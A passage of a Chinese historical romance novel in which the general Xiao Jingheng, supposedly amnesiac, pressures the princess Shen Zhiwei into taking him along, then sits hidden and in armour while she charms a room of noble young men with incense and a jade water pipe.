却不想,萧景珩突然伸出手,撑住沈知微身边的墙壁,臂肘之间形成个小小的囚牢,将想要离开的沈知微囚禁在了原地。
他贴着沈知微,鼻息轻轻喷洒在沈知微的发丝上,带起黑发轻轻的涟漪,洒在沈知微小巧的耳廓上,晶莹剔透的耳廓趁着黑发,就如晚间晴朗的明月,格外诱人。
萧景珩看的喉咙都莫名有些干涩,喉结滚动了几番,才把他原本呼之欲出的“要你”二字压了下去,合变成了……
“不准走……”
语气中的沙哑,干涩,像是等着沈知微的垂怜一般。
“呵,滚!你算什么东西?”
沈知微笑了,他以为他是谁?有资格命令自己?
“你……的东西,我要跟着一起去,否则……”
这句话说得斩钉截铁,战甲随着呼吸起伏,硌得她脊背生疼。
“否则?否则你还敢在这广德王府谋害天家公主?”
沈知微轻呵出声,但她脸儿不自觉的红了,萧景珩实在贴的太近,唇几乎贴上她的耳垂,而那话语,更是暧昧,沈知微发誓,她曾见过以往浪荡的京中贵妇豢养的小倌,也说不出此等缠绵肉麻的话语儿……
此刻,沈知微一时不知怎么办才好,虽她再活一世,男女之情方面却还是没怎么开窍,没办法,谁叫她上辈子还没嫁过去,两人便决裂了呢?所以,沈知微只得怒喝一句,转移自己的情绪。
“……否则,我便把我
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为了救你落水失忆的事儿,宣扬出去,陛下不是说要隐瞒的吗?哎呀,到时候,世人知道天家这般对待功臣,该怎么办才好阿?我那远在边疆的老父帅,还没看见他孙子,儿子先傻了,这十万玄甲军将士心可犹如三月雪般寒凉阿……”
萧景珩看着沈知微雪白的耳根忽地一红,心下莫名欢欣了起来,可他太了解沈知微了,虽然看起来精明,但性子到底是属猫的,要是欺负的太过,等下真发起怒来,可才令人恼火。
萧景珩想了想,又搬出那失忆的由头,反正嘉和帝当初说的不能泄露出去,不然不好收场,沈知微识得大局,自然不会拒绝的。
“……罢了,在和你纠缠下去,春桃那边的布置便荒废了,你非要跟过去,得约法三章……”
“好!”
沈知微刚开口,那人想也不想的好了起来,让沈知微楞了两分,方才叹气的接了下去。
“第一、不准说话,第二、不准动手,第三、不准现身,明白了?”
“好!”
听的沈知微愿意带自己了,萧景珩的语气立刻欢快了许多,沈知微瞧了过去,莫名有种感觉,自己仿佛真看见珍兽坊里的大型犬了,只差一条尾巴在萧景珩身后摇起来了。
……罢了,没时间耽搁了,能打发这家伙就打发了……
沈知微扶住额头,挣开了萧景珩的臂弯,转头往暖阁走去。
——
众公子进倒暖阁之中。
恍若一脚踩进云絮里。
青烟如纱,自那鎏金狻猊炉中袅袅升起,趁着晨光织成一张朦胧的光。茜纱窗棂透进几丝光线被筛成细碎的金粉,洒在满室的青罗之上,映得这地儿似真亦似幻。
“阿!”
一名公子似是看了出了神,碰撒了座上的缠枝香炉。
却,幸得惊起屋中那红罗软榻上的人儿一回眸——那正是沈知微。
只见,她藕臂上的藕色广袖滑至肘间,露出一截凝霜的雪臂,手中持着的白玉水烟枪在她指尖旋了个转儿,烟嘴点着一点朱砂,恰是雪地里绽了一朵红梅,清冷却又绝艳,两种风情竟然在一人身上汇的一处,看的众公子都痴了半分。
沈知微半眯者眸子,轻吐一口烟气来,甜甜蜜蜜的,不知是她的嗓音还是那烟味儿。
“诸位站着做什么?”
呛了口烟气的嗓音,沙沙的像甜蜜的糖馅,惊醒了呆立的众公子们,他们连忙痴笑着寻着满堂的座儿坐了下去,然后纷纷看向其他同来的同伴的脸儿,这些被挑进来的贵公子们不约而同的就一种神色。
——这、这还是刚才那满是刀兵的修罗场吗?莫不是进了虚幻仙子的太虚梦境,而那正坐其中的沈知微就是那天宫仙女,似真似幻,反正不是在人间。
沈知微见的众人模样,心里已然明了他们被自己引入境儿了,方才红唇微启。
“本宫听闻……”
“咔嚓!”
却不想暖阁角落传来一声什么东西断裂的脆响。
众人吓的一跳循声望去,只见角落中站着一个蒙住脸审批玄甲的武士,手里拿着白玉笔杆正打算记录什么,可那白玉笔杆却断在手里成了两截……
……额……这厮……
沈知微无奈扯扯嘴角,她是故意弄出这番柔到极致的场景,好让刚才被萧景珩满场刀兵吓的晕了头的公子哥们放松警惕的,没想到……
沈知微刮了一眼角落的黑甲武士。
然后将烟枪放在案前,惊起缕缕青烟,她眯起眸子,像只待着猎物的雪狐一般笑开来。
“……诸位公子都是家学渊博之人,不如聊聊这个……”
沈知微下颌轻点,那些贵公子们立刻争着用眼珠子向沈知微指着的方向看去,上面是一本《盐铁论》!